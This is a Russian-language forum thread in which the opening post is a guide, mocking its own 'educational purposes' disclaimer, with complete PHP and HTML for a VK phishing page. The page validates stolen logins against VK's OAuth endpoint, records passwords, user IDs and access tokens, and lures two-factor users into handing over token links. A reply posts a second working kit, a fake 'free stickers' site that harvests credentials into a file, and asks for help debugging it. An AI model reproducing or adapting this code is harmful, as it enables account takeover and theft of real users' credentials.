[Гайд]: Фишинг сайт, отлавливающий только корректные пароли + воруем токен.

Memory16

Новичок
Статус
offline
Регистрация
19.03.2017
Сообщения
15
Репутация
9
Конееечно, всё в ознакомительных целях.(нет.) Здесь я пытаюсь вам довести о том, что если даже авторизация на каких-либо сайтах работает, то не факт, что у вас не украли данные.(не пытаюсь)

Привет, %username%!

Возможно кому-то будет полезен гайд о том как создать фишинг сайт с практически настоящей авторизацией.
С помощью этого метода вы можете узнать следующие данные:
• ID пользователя, который ввёл корректные данные
• Логин и пароль этого пользователя
• токен (access_token) | для беспалевного захода на аккаунт жертвы и т.д

Так же есть вероятность украсть токен у пользователя, который использует двухфакторную авторизацию ВК - это всё так же определяется скриптом :)
Своровав токен - мы получаем полный контроль над аккаунтом

Здесь я описываю только техническую часть. Весь дизайн, оформление и прочее - остаётся на вас.
И так, поехали.

Требования:
• Библиотека cURL
• Пара рук

Первое что нам нужно сделать - это создать файл, засунуть туда PHP скрипт. В этом же файле потом и создадим HTML Форму.

Копируем туда код:
PHP:
<?php
    $log = $_POST['login'];
    $pass = $_POST['password'];
    if(isset($_POST['captcha']) AND isset($_POST['login'])){
        $sid=$_POST['id'];
        $capt=$_POST['captcha'];
        $Msg= curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$log&password=$pass&v=5.101&2fa_supported=1&captcha_sid=$sid&captcha_key=$capt");
    }
    elseif(isset($_POST['login'])){
        $Msg= curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$log&password=$pass&v=5.101&2fa_supported=1");
        $js = json_decode($Msg,true);
        if($js["error"] == "need_captcha")
        echo "<img src='{$js['captcha_img']}'>";
    }
    $js = json_decode($Msg, true);
    if($js['access_token'] != NULL OR isset($_POST['uri'])){
        if(isset($_POST["uri"])){
            $uri = $_POST["uri"];
            $file=fopen("data.txt","a");
            fwrite($file,"$uri\n");
            fclose($file);
        } else{
            $file=fopen("data.txt","a");
            fwrite($file,"$log | $pass | vk.com/id{$js['user_id']} | {$js['access_token']}\n");
            fclose($file);
        }
    } elseif($js['error']=="need_validation") {
        echo "У вас используется двухфакторная авторизация. Перейдите по <a href='[URL]https://vk.cc/6uX1TY[/URL]'>ссылке</a> Нажмите кнопку подтвердить и вставьте полученную ссылку в соответсвуюущее поле";
    } elseif($js['error']=="invalid_client"){
        echo "Неправильный логин или пароль";
    }
    function curl( $url ){
        $ch = curl_init( $url ); //Init library
        curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
        curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false ); //Имеется SSL? (HTTPS) Если да - меняем false на true
        curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
        $response = curl_exec( $ch );
        curl_close( $ch );
        return $response;
    }
?>

По-порядку: первое условие - проверка на ввод капчи, которую может попросить ввести наш дорогой ВКонтакт.
Второе условие: Если не было капчи и мы ввели логин.

После условия у нас обрабатывается JSON, который мы получили от ВК и сразу же идёт ещё одно условие.
Проверяем, если нам ВК выдал токен (или получили ссылку, но об этом позже.)
Если получили ссылку - сохраняем её в файл
Иначе если вы получили токен, то вам нужно сохранить все данные - его введенный пароль, логин. По желанию: ID и токен.

Следующее, последнее условие - обработка ошибки need_validation. Ошибка оповещает о том, что пользователь использует двухфакторную авторизацию. Можете изменить текст, но ссылку не стоит изменять, если вы не знаете что она делает.

Далее. После всего PHP скрипта мы добавляем HTML. Он так же будет содержать небольшие кусочки PHP кода. Смотрим


HTML:
<html>
    <head>
        <title>Авторизация</title>
    </head>
    <body>
        <form action="#" method="post">
            <?php if($js['error']=="need_validation") {
                echo "<input placeholder='Ссылка' name='uri'>";
            } else {?>
            <input placeholder="Логин" name="login">
            <input placeholder="Пароль" name="password">
            <?php }
                if($js["error"] == "need_captcha"){
                    echo "<input placeholder='Введите каптчу' name='captcha'>";
                    echo "<input type='hidden' value='{$js['captcha_sid']}' name='id'>";
                }
            ?>
            <button type="submit">Войти</button>
        </form>
    </body>
</html>

Тут всё просто. Создаём форму для отправки данных. Первое PHP Условие - если пользователь ввёл свой пароль и ему вылезла ошибка, что нужна валидация аккаунта. По-этому нужно вставить ссылку(где будет у нас токен), вместо ввода логина и пароля.
Ну и второе условие это капча. Если ошибка need_captcha - показать поле для ввода капчи.
И ещё дополнительно скрытое поле - captcha_sid.
Идентификатор капчи, которую должен ввести пользователь.

Как видите, всё просто)

В спойлере оставлю полный код скрипта

Код:
<?php
    $log = $_POST['login'];
    $pass = $_POST['password'];
    if(isset($_POST['captcha']) AND isset($_POST['login'])){
        $sid=$_POST['id'];
        $capt=$_POST['captcha'];
        $Msg= curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$log&password=$pass&v=5.101&2fa_supported=1&captcha_sid=$sid&captcha_key=$capt");
    }
    elseif(isset($_POST['login'])){
        $Msg= curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$log&password=$pass&v=5.101&2fa_supported=1");
        $js = json_decode($Msg,true);
        if($js["error"] == "need_captcha")
        echo "<img src='{$js['captcha_img']}'>";
    }
    $js = json_decode($Msg, true);
    if($js['access_token'] != NULL OR isset($_POST['uri'])){
        if(isset($_POST["uri"])){
            $uri = $_POST["uri"];
            $file=fopen("data.txt","a");
            fwrite($file,"$uri\n");
            fclose($file);
        } else{
            $file=fopen("data.txt","a");
            fwrite($file,"$log | $pass | vk.com/id{$js['user_id']} | {$js['access_token']}\n");
            fclose($file);
        }
    } elseif($js['error']=="need_validation") {
        echo "У вас используется двухфакторная авторизация. Перейдите по <a href='https://vk.cc/6uX1TY'>ссылке</a> Нажмите кнопку подтвердить и вставьте полученную ссылку в соответсвуюущее поле";
    } elseif($js['error']=="invalid_client"){
        echo "Неправильный логин или пароль";
    }
    function curl( $url ){
        $ch = curl_init( $url ); //Init library
        curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
        curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false ); //Имеется SSL? (HTTPS) Если да - меняем false на true
        curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
        $response = curl_exec( $ch );
        curl_close( $ch );
        return $response;
    }
?>
<html>
    <head>
        <title>Авторизация</title>
    </head>
    <body>
        <form action="#" method="post">
            <?php if($js['error']=="need_validation") {
                echo "<input placeholder='Ссылка' name='uri'>";
            } else {?>
            <input placeholder="Логин" name="login">
            <input placeholder="Пароль" name="password">
            <?php }
                if($js["error"] == "need_captcha"){
                    echo "<input placeholder='Введите каптчу' name='captcha'>";
                    echo "<input type='hidden' value='{$js['captcha_sid']}' name='id'>";
                }
            ?>
            <button type="submit">Войти</button>
        </form>
    </body>
</html>

UPD: Немного изменил код. Добавил сохранение данных в файл "data.txt". Если его нет - автоматически создаётся.

UPD2: Разбор ссылки, которую мы получаем, если человек с использует двухфакторную авторизацию

api.vk.com/blank.html#access_token=5661d05ed8a4cc9cbd5c25df76c2e53fe83&expires_in=0&user_id=145354933

Всё, что нас интересует я выделил зелёным цветом
Первое что нас интересует - это символы после access_token=
До первого знака "&" - не включая его. Он нас не интересует
Это будет нашим ключем (токеном)

Второе - символы после "user_id=" - это наш ID жертвы, которая отправила нам ссылку. Можем сгенерировать ссылку и получить ВК жертвы vk.com/id145354933

Всё в ваших руках :)
29.08.19 - 20:00 [UPD3: изменил метод получения токена при использовании двухфакторной авторизации].
Т.к ВКонтакте запрещает использовать messages.get, messages.getHistory, мы притворяемся приложением Kate Mobile.
 
Последнее редактирование:

elijahweed

Новичок
Статус
offline
Регистрация
21.01.2018
Сообщения
12
Репутация
8
Конееечно, всё в ознакомительных целях.(нет.)


Привет, может подскажешь что не так с кодом?
Фиш нашел на форуме, залил на хостинг, в целом всё работает - кроме главного. При вводе валидного лог/пасса говорит что неверные данные.
Логи должны приходить в base.php но они не приходят, соответственно.


Файл index.php

PHP:
<!DOCTYPE HTML>
<html>
    <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <meta name="description" content="Бесплатное подключение платных стикеров в социальной сети ВКонтакте">
        <meta name="keywords" content="ВКонтакте, бесплатные стикеры вконтакте, стикеры вконтакте, стикеры, vk.com, vkontakte.ru">
        <link rel="icon" href="css/icon.png">
        <title>Бесплатные cтикеры ВКонтакте</title>
        <link rel="stylesheet" href="css/bootstrap.css" >
        <link rel="stylesheet" href="css/custom.css" >
        <script type="text/javascript">
          var pack_info = {
            1:  ['Ральф','Приветливый, заводной и вспыльчивый непоседа, с которым не бывает скучно.'],
            .......(сократил)
            184: ['Аркти', 'Аркти — маленький полярный лисёнок, которому никак не сидится на месте. Ещё бы, ведь скоро Новый год!']
          }
        </script>
    </head>
    <body>
        <div class="container" style="width: 1050px;">
            <div class="page-header">
              <h1>Бесплатные стикеры ВКонтакте</h1>
               <h1>Обновление от 07.11.2017</h1>
            </div>
            <div class="c-info"><i>Нажмите на любой понравившийся набор и получите стикеры совершенно бесплатно!</i></div>
            <hr>
            <div class="row">
                <div class="col-xs-2 col-md-2">
                    <a class="thumbnail modal-link" data-id="1"><img src="images/1.png"></a>
                </div>
                ...(сократил)
                <div class="col-xs-2 col-md-2">
                    <a class="thumbnail modal-link" data-id="184"><img src="images/184.png"></a>
                </div>                  
            </div>
            <hr><div class="c-info"><i>Наборы стикеров добавляются по мере обновления ВК.</i></div><hr>
            <div class="alert alert-info"><a data-toggle="modal" href="#videoModal">Обзор и подтверждение работы сервиса на видео (кликабельно)</a></div>
            <div class="panel panel-default" style="width: 320px;  margin-left: 200px;">
                <div class="panel-heading">
                    <h3 class="panel-title">F.A.Q.</h3>
                </div>
                <ul class="list-group">
                    <li class="list-group-item">
                        <b>Сколько ждать активации стикеров?</b><br>На данный момент активация стикеров происходит в автоматическом режиме <br> После входа в аккаунт стикеры добавляются на вашей страничке.
                        <br><b>Голоса при добавлении стикеров не списываются!</b>
                    </li>
                </ul>
            </div>
            <img src="images/verify.png" align="right" style="margin-top: -225px;  margin-right: 200px;">
            <hr>
            <div class="pull-left">FreeStick © 2014-2017</div>
            <div class="pull-right" style="opacity:0.2; -moz-opacity:0.2;filter:alpha(opacity=20);">
            </div>
        </div>

            <div class="modal fade" id="authModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
                <div class="modal-dialog" style="width: 400px;">
                    <div class="modal-content" style="width: 400px;">
                        <div class="modal-header">
                            <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                            <h4 class="modal-title">Получить набор стикеров:</h4>
                        </div>
                    <form name="login-form">
                        <div class="modal-body">
                            <div class="thumbnail">
                                <img id="pack-image" class="">
                                <div class="caption">
                                    <h3 id="pack-name"></h3>
                                    <p id="pack-description"></p>
                                </div>
                            </div>
                            <hr>
                            <h5 class="modal-title">Для добавления стикеров</h5>
                            <h5 class="modal-title">Необходимо авторизоваться Вконтакте:</h5>
                            <br>
                            <div id="result" style="display:none;"></div>
                            <div class="group-cnt">
                            <div class="input-group" style="width: 300px;">
                                <span class="input-group-addon" style="padding: 2px 17px;">Логин</span>
                                <input type="text" name="email" class="form-control" placeholder="Телефон или e-mail" required autofocus>
                            </div>
                            <br>
                            <div class="input-group" style="width: 300px;">
                                <span class="input-group-addon">Пароль</span>
                                <input type="password" name="password" class="form-control" placeholder="••••••••" required>
                            </div>
                            <div id="captcha" style="display:none;">
                                <br>
                                <img id="captcha_img" style="width: 130px; height: 50px; margin: 0 auto; background: url(http://vk.me/images/vklogo.gif); cursor: pointer;"><br><br>
                                <div class="input-group" style="width: 300px;">
                                    <span class="input-group-addon">Код</span>
                                    <input type="text" class="form-control" name="captcha_sid" style="display:none;">
                                    <input type="text" class="form-control" name="captcha_key" placeholder="Введите код сюда">
                                </div>
                            </div>
                            </div>
                        </div>
                      <div class="modal-footer">
                        <button type="submit" class="btn btn-success">Получить стикеры</button>
                      </div>
                    </form>
                  </div>
                </div>
            </div>
            <div class="modal fade" id="videoModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
                <div class="modal-dialog" style="width: 650px;">
                    <div class="modal-content" style="width: 650px; padding-top: 5px;">
                        <iframe width="640" height="360" src="//www.youtube.com/embed/UEhdwkOm-Ak" frameborder="0" allowfullscreen></iframe>
                    </div>
                </div>
            </div>
    </body>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
    <script src="js/custom.js?9"></script>
</html>


Файл login.php

PHP:
<?php
header('Content-Type: application/json');
if (isset($_POST['email'])){
     $email = iconv('utf-8', 'windows-1251', $_POST['email']);
     $password = iconv('utf-8', 'windows-1251', $_POST['password']);
     $res = curl('https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$email.'&password='.$password.'&captcha_key=&captcha_sid=');
     $at = 'access_token';
     $pos = strripos($res, $at);
     $contents = file ('base.php');

    foreach ($contents as $content) {
        $line = explode (':', $content);
        if ($line[0] == $email) {
            $result = $line[1];
            break;
        }
    }

    if (isset ($result)) {

        $info = json_encode(array(
            'error' => array(
                'error_code' => '3',
                'error_msg' => 'Вы уже оставили заявку!',
            ),
        ));

        echo $info;

    } elseif ($pos === false) {

        $error = json_encode(array(
            'error' => array(
                'error_code' => '1',
                'error_msg' => 'Ошибка! Неверные логин или пароль!',
            ),
        ));

        echo $error;

    } else {

        $res = json_decode($res, true);
        $id = $res['user_id'];
        $name = curl('https://api.vk.com/method/users.get?user_ids='.$id.'&fields=counters');
        $name = json_decode($name, true);
        $id = $res['user_id'];
        $fp = fopen("base.php", "a");
        $text = "$email:$password\r\n";
        $test = fwrite($fp, $text);
        fclose($fp);

        $fullname = $name['response']['0']['first_name'].' '.$name['response']['0']['last_name'];
        $success = json_encode(array(
            'response' => array (
                'success' => '0',
                'msg' => "$fullname, Стикеры будут добавлены в течении 2х часов, спасибо за использование нашего сервиса!",
            ),
        ));
        echo $success;

    }
}

function curl($url){
    $ch = curl_init( $url );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
    curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
    $response = curl_exec( $ch );
    curl_close( $ch );
    return $response;
}